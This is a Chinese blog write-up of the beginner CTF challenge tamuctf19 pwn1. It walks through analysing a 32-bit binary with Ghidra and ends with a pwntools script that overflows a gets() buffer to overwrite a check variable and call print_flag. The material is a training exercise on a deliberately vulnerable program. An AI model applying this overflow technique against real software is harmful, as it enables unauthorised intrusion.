tamuctf19-pwn1 题解

这些题目皆来自于 nightmare 项目,感谢 nightmare 项目高质量的题解和选题,nigthmare 在线电子书地址:

https://guyinatuxedo.github.io/index.html

其中题目中所需要的二进制程序环境在这个电子书的官方仓库里有。

入门 pwn 的第一个题目,比较无脑,重点是熟悉 pwn 的基本环境吧。

二进制文件信息收集

首先先用 file 命令查看文件类型

image.png

可以看到是一个 32 位 ELF 文件

接下来查看 ELF 文件的安全防护

image.png

可以看到这个文件没有开启栈溢出防护,那么我们接下来可以无脑栈溢出了。

逆向文件

拖入 ghidra (一个由美国国安局开发的逆向工具,需要调教一下快捷键才能和 IDA 一样顺手,而且就是这个东西的伪代码反汇编功能还是比较弱,但是这个东西是开源免费的,在 Mac OS 上工作的顺畅多了)接下来可以看到程序首先先让你输入两个字符串,分别等于 Sir Lancelot of Camelot To seek the Holy Grail. 接下来发现有一个 gets 函数,这个函数是可以输入任意字符造成栈溢出的。同时我们可以看到这个函数之后还有这个语句

gets(user_input);
if (local_18 == 0xdea110c8) {
  print_flag();
}

所以我们如果 user_input 溢出后能覆盖掉 local_18 这个变量的值,并且能让他等于 0xdea110c8 就可以让他执行 print_flag 这个函数了。

攻击脚本

from pwn import *
import pwnlib.util.packing

def main():
    target = process("./pwn1") # 设置目标程序
    
    payload:str = b""
    payload += b"a" * 43
    payload += p32(0xdea110c8) # 在 payload 结尾加上需要的数据,Linux 上存储数字使用的是小端序,用 p32 将数字转换成小端序 byte 数组

    target.sendline(b"Sir Lancelot of Camelot")
    target.sendline(b"To seek the Holy Grail.")
    target.sendline(payload)

    target.interactive()  # 进入交互模式,其实就是接管目标的标准输入和标准输出,这样我们就不用一个一个来读取程序的输出结果,而是直接将输入输出直接返回来
    


if __name__ == '__main__':
    main()
posted @ 2021-11-23 13:29  Node_Sans  阅读(71)  评论(0编辑  收藏  举报